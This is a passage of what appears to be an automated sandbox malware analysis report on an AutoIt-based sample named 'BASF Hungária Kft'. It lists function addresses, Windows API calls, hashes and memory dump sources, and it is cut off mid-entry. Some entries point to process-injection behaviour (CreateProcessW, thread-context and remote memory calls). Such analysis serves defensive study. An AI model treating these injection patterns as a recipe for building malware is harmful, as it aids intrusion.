                                                              • Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
                                                              • Instruction Fuzzy Hash: 4E41E634A00745ABDB188F69C8849EE77A5EF4536AB24857DEC1587640E7F8EDC88B40
                                                              Function 00734C70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memmove
                                                              • String ID: AU3!P/|$EA06
                                                              • API String ID: 4104443479-648605970
                                                              • Opcode ID: 2b464a8f59827e6927cc0081a33ffb4590658e5190f6e74ce98d0c4f0955666b
                                                              • Instruction ID: 0eea257e7319e8e69e70134efe4a9b76b0f8b994c542a9a4bd921b78c54013b5
                                                              • Opcode Fuzzy Hash: 2b464a8f59827e6927cc0081a33ffb4590658e5190f6e74ce98d0c4f0955666b
                                                              • Instruction Fuzzy Hash: FB418B22B1415CABFF299B648C557BE7FB2DB45300F684075EE829B283D62CBD4483A1
                                                              Function 00737285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 0076EA39
                                                              • GetOpenFileNameW.COMDLG32(?), ref: 0076EA83
                                                                • Part of subcall function 00734750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00734743,?,?,007337AE,?), ref: 00734770
                                                                • Part of subcall function 00750791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 007507B0
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Name$Path$FileFullLongOpen_memset
                                                              • String ID: X
                                                              • API String ID: 3777226403-3081909835
                                                              • Opcode ID: db920ed172235915b1e53eeda5074f31f195c7713dd6b21e89275c5848c84fff
                                                              • Instruction ID: f0c76c34501d5618abf6ccf342934ebc26e50587f4d5efa68d65236443c751d2
                                                              • Opcode Fuzzy Hash: db920ed172235915b1e53eeda5074f31f195c7713dd6b21e89275c5848c84fff
                                                              • Instruction Fuzzy Hash: C321D471A102889BDB559F94CC49BEE7BF8AF08710F048019E908B7242DBBC5949CFA1
                                                              Function 007998E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetTempPathW.KERNEL32(00000104,?), ref: 007998F8
                                                              • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 0079990F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Temp$FileNamePath
                                                              • String ID: aut
                                                              • API String ID: 3285503233-3010740371
                                                              • Opcode ID: f50c60c6aa8a8a612e8c57782b258d8bc74710a326cdbd59dfe4941489898573
                                                              • Instruction ID: 4e7a648b4b2de8b954e38f5ce8d0a41c4b28eb3ad062fd29d6147d2aa7368a91
                                                              • Opcode Fuzzy Hash: f50c60c6aa8a8a612e8c57782b258d8bc74710a326cdbd59dfe4941489898573
                                                              • Instruction Fuzzy Hash: ACD05E7954030DABDB50ABA4DC0EFDA773CEB04B00F0043B1FF54D11A1EAB595988B95
                                                              Function 007ACADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 5b33169b887f2d6c94988654582cc4944353b29625adfe0bdb76488a992f90fb
                                                              • Instruction ID: 0b2be41dd47ea9b718df9f378556f3a6bffe1a08a674d14efef74ae0a90e78fa
                                                              • Opcode Fuzzy Hash: 5b33169b887f2d6c94988654582cc4944353b29625adfe0bdb76488a992f90fb
                                                              • Instruction Fuzzy Hash: 0CF11771608301EFC715DF28C484A6ABBE5BFC9314F14892EF8999B251D774E945CF82
                                                              Function 0073434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 00734370
                                                              • Shell_NotifyIconW.SHELL32(00000000,?), ref: 00734415
                                                              • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00734432
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: IconNotifyShell_$_memset
                                                              • String ID:
                                                              • API String ID: 1505330794-0
                                                              • Opcode ID: 4e28471b91f25d694d84c0a91de0bb1b5d8f5efba2a3476c6cc0803c49e4b949
                                                              • Instruction ID: c46655f402d32250eae4d1483512582470dae2f1c9d55935d1efc092435f036d
                                                              • Opcode Fuzzy Hash: 4e28471b91f25d694d84c0a91de0bb1b5d8f5efba2a3476c6cc0803c49e4b949
                                                              • Instruction Fuzzy Hash: E33184B0505701DFD724DF24D8846ABBBF8FB48309F004A2EF69A93252D7796944CB56
                                                              Function 0075571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • __FF_MSGBANNER.LIBCMT ref: 00755733
                                                                • Part of subcall function 0075A16B: __NMSG_WRITE.LIBCMT ref: 0075A192
                                                                • Part of subcall function 0075A16B: __NMSG_WRITE.LIBCMT ref: 0075A19C
                                                              • __NMSG_WRITE.LIBCMT ref: 0075573A
                                                                • Part of subcall function 0075A1C8: GetModuleFileNameW.KERNEL32(00000000,007F33BA,00000104,?,00000001,00000000), ref: 0075A25A
                                                                • Part of subcall function 0075A1C8: ___crtMessageBoxW.LIBCMT ref: 0075A308
                                                                • Part of subcall function 0075309F: ___crtCorExitProcess.LIBCMT ref: 007530A5
                                                                • Part of subcall function 0075309F: ExitProcess.KERNEL32 ref: 007530AE
                                                                • Part of subcall function 00758B28: __getptd_noexit.LIBCMT ref: 00758B28
                                                              • RtlAllocateHeap.NTDLL(01920000,00000000,00000001,00000000,?,?,?,00750DD3,?), ref: 0075575F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                                              • String ID:
                                                              • API String ID: 1372826849-0
                                                              • Opcode ID: c54ab0b06ef43182e7d39d0ea313bb0da2227d23e8a539eef3d53fb40bb161dc
                                                              • Instruction ID: 33d469520091da521757a886471928bb6fc4b60fb4744fc3b3e7c8d402fe98cd
                                                              • Opcode Fuzzy Hash: c54ab0b06ef43182e7d39d0ea313bb0da2227d23e8a539eef3d53fb40bb161dc
                                                              • Instruction Fuzzy Hash: 3801F571200B05DBE6102738EC6AAEE775C9B46763F100935FC05AB1D1DEFC9C088665
                                                              Function 007998A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00799548,?,?,?,?,?,00000004), ref: 007998BB
                                                              • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00799548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 007998D1
                                                              • CloseHandle.KERNEL32(00000000,?,00799548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 007998D8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: File$CloseCreateHandleTime
                                                              • String ID:
                                                              • API String ID: 3397143404-0
                                                              • Opcode ID: 86cbcc497fc3662fa005bc09da8b67915182bb4a6198412a9de12136dbbb21eb
                                                              • Instruction ID: 9078a6e41166507debc6c51121ee4e2d63373497ef95866636e6fde8873ce0da
                                                              • Opcode Fuzzy Hash: 86cbcc497fc3662fa005bc09da8b67915182bb4a6198412a9de12136dbbb21eb
                                                              • Instruction Fuzzy Hash: 2DE0863214021CB7EB211B58EC09FCA7F59AB06B60F148220FB14790E087B51511979C
                                                              Function 00798D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _free.LIBCMT ref: 00798D1B
                                                                • Part of subcall function 00752D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00759A24), ref: 00752D69
                                                                • Part of subcall function 00752D55: GetLastError.KERNEL32(00000000,?,00759A24), ref: 00752D7B
                                                              • _free.LIBCMT ref: 00798D2C
                                                              • _free.LIBCMT ref: 00798D3E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _free$ErrorFreeHeapLast
                                                              • String ID:
                                                              • API String ID: 776569668-0
                                                              • Opcode ID: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
                                                              • Instruction ID: e7b9d2f4a5abf7a7d509edee1ffb1dd91fd556f4605fbf508437552c38cf3668
                                                              • Opcode Fuzzy Hash: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
                                                              • Instruction Fuzzy Hash: 33E012A170170186CF64A578B944AD313EC4F5E393B14091EB80DD71C7CEACF8478124
                                                              Function 0073A9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: CALL
                                                              • API String ID: 0-4196123274
                                                              • Opcode ID: 8b88cbae8daa2337aab857c598b24275d7e9f2d183b143ebaf095ee0f1a68508
                                                              • Instruction ID: 4194a0165b7e25e887bab9cc12e0ecfa8ce0c47943578d443d8bc989abb617df
                                                              • Opcode Fuzzy Hash: 8b88cbae8daa2337aab857c598b24275d7e9f2d183b143ebaf095ee0f1a68508
                                                              • Instruction Fuzzy Hash: 10227B70608301DFEB24DF24C495B6AB7E1BF84300F15896DE98A8B362D779EC45CB82
                                                              Function 00737A51 Relevance: 3.1, APIs: 2, Instructions: 97COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memmove
                                                              • String ID:
                                                              • API String ID: 4104443479-0
                                                              • Opcode ID: 75b3ef76dc9c1d7680ff1126038a0b5bca49f3ec50bdc15de679bd26e1e87542
                                                              • Instruction ID: fbba5ce7faf0d68249344bed4da5f5755bf3ec3b664024d2e7e39a89e2656359
                                                              • Opcode Fuzzy Hash: 75b3ef76dc9c1d7680ff1126038a0b5bca49f3ec50bdc15de679bd26e1e87542
                                                              • Instruction Fuzzy Hash: 073184F1604606AFD718DF68C8D1D69F3A5FF48310B15C629E919CB392EB74E910CB90
                                                              Function 007347D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsThemeActive.UXTHEME ref: 00734834
                                                                • Part of subcall function 0075336C: __lock.LIBCMT ref: 00753372
                                                                • Part of subcall function 0075336C: DecodePointer.KERNEL32(00000001,?,00734849,00787C74), ref: 0075337E
                                                                • Part of subcall function 0075336C: EncodePointer.KERNEL32(?,?,00734849,00787C74), ref: 00753389
                                                                • Part of subcall function 007348FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00734915
                                                                • Part of subcall function 007348FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0073492A
                                                                • Part of subcall function 00733B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00733B68
                                                                • Part of subcall function 00733B3A: IsDebuggerPresent.KERNEL32 ref: 00733B7A
                                                                • Part of subcall function 00733B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,007F52F8,007F52E0,?,?), ref: 00733BEB
                                                                • Part of subcall function 00733B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 00733C6F
                                                              • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00734874
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
                                                              • String ID:
                                                              • API String ID: 1438897964-0
                                                              • Opcode ID: 586b49ef8d1e42b9c84abe6c0bdad5256e1b9f7304476d24af3590faa18269a5
                                                              • Instruction ID: a841c8b4612c7f55a9fca1f143f259c11c83f6ea4873deab1bce302f9c23db3b
                                                              • Opcode Fuzzy Hash: 586b49ef8d1e42b9c84abe6c0bdad5256e1b9f7304476d24af3590faa18269a5
                                                              • Instruction Fuzzy Hash: C6118EB19143419BD700EF28EC0996AFFE8FB85750F10861AF54087272DBB89648CB95
                                                              Function 00750DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0075571C: __FF_MSGBANNER.LIBCMT ref: 00755733
                                                                • Part of subcall function 0075571C: __NMSG_WRITE.LIBCMT ref: 0075573A
                                                                • Part of subcall function 0075571C: RtlAllocateHeap.NTDLL(01920000,00000000,00000001,00000000,?,?,?,00750DD3,?), ref: 0075575F
                                                              • std::exception::exception.LIBCMT ref: 00750DEC
                                                              • __CxxThrowException@8.LIBCMT ref: 00750E01
                                                                • Part of subcall function 0075859B: RaiseException.KERNEL32(?,?,?,007E9E78,00000000,?,?,?,?,00750E06,?,007E9E78,?,00000001), ref: 007585F0
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                                              • String ID:
                                                              • API String ID: 3902256705-0
                                                              • Opcode ID: c048d72bfe1fa905ecec4da8a2be02c4e001abebb23fed13fe290fcf263031cb
                                                              • Instruction ID: e928f498cb364b8aee9aea06eeefb75f26e8677f78b13bda3bb71e2148ec6064
                                                              • Opcode Fuzzy Hash: c048d72bfe1fa905ecec4da8a2be02c4e001abebb23fed13fe290fcf263031cb
                                                              • Instruction Fuzzy Hash: DBF0A93260031EA6DB10BAA4DC05ADE77AC9F15352F10042DFD04A6151DFF99A59C5D1
                                                              Function 007553A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00758B28: __getptd_noexit.LIBCMT ref: 00758B28
                                                              • __lock_file.LIBCMT ref: 007553EB
                                                                • Part of subcall function 00756C11: __lock.LIBCMT ref: 00756C34
                                                              • __fclose_nolock.LIBCMT ref: 007553F6
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                                              • String ID:
                                                              • API String ID: 2800547568-0
                                                              • Opcode ID: 525e83df65a2d2b9e007b6719c3d74ca7d119817de9755fb88c4ca76f6d9af43
                                                              • Instruction ID: 5e4d23572956bdf7caacc780a14394d1f724377762d084297196a2466c9d2d9a
                                                              • Opcode Fuzzy Hash: 525e83df65a2d2b9e007b6719c3d74ca7d119817de9755fb88c4ca76f6d9af43
                                                              • Instruction Fuzzy Hash: 5FF0F671800A04DBD750AB65880A7ED77E06F0137BF208108AC28BB1C1DBFC59099B52
                                                              Function 0196A385 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateProcessW.KERNELBASE(?,00000000), ref: 0196AB43
                                                              • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 0196ABD9
                                                              • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0196ABFB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689819127.0000000001969000.00000040.00000020.00020000.00000000.sdmp, Offset: 01969000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_1969000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                              • String ID:
                                                              • API String ID: 2438371351-0
                                                              • Opcode ID: 282d440d23347d33a5333bc70feb3b77e7ffa06fe9f8fdc76eda24defaf3804a
                                                              • Instruction ID: 6456ee7f35641337d671901e592f8474effa44a79e60340b14333ff035e872ca
                                                              • Opcode Fuzzy Hash: 282d440d23347d33a5333bc70feb3b77e7ffa06fe9f8fdc76eda24defaf3804a
                                                              • Instruction Fuzzy Hash: F412DE20E24658C6EB24DF64D8507DEB236EF68300F1094E9910DEB7A5E77A4F81CF5A
                                                              Function 00750C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ProtectVirtual
                                                              • String ID:
                                                              • API String ID: 544645111-0
                                                              • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                              • Instruction ID: 27affe0e5970bdb97655de1882fe829816a08dfb1deff79a4cb008ec3f5cf47b
                                                              • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                              • Instruction Fuzzy Hash: 6131D470A001059BC718DF58C4849E9F7A6FB5A302B6887A5E80ACF351D7B5EDC5DBE0
                                                              Function 0076FCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ClearVariant
                                                              • String ID:
                                                              • API String ID: 1473721057-0
                                                              • Opcode ID: e937e42fcdc1cb24e2cb1f7672be6892f65396a64bec66970368ac57cdf38f36
                                                              • Instruction ID: 9b9aa0b027401d0f9217bfbc69f2ba760acb90053103a75aa75548aa0e4052da
                                                              • Opcode Fuzzy Hash: e937e42fcdc1cb24e2cb1f7672be6892f65396a64bec66970368ac57cdf38f36
                                                              • Instruction Fuzzy Hash: B0412774604341DFEB14DF24C448B1ABBE0BF45318F1988ACE9998B362C37AE845CF92
                                                              Function 00737B53 Relevance: 1.6, APIs: 1, Instructions: 84COMMON
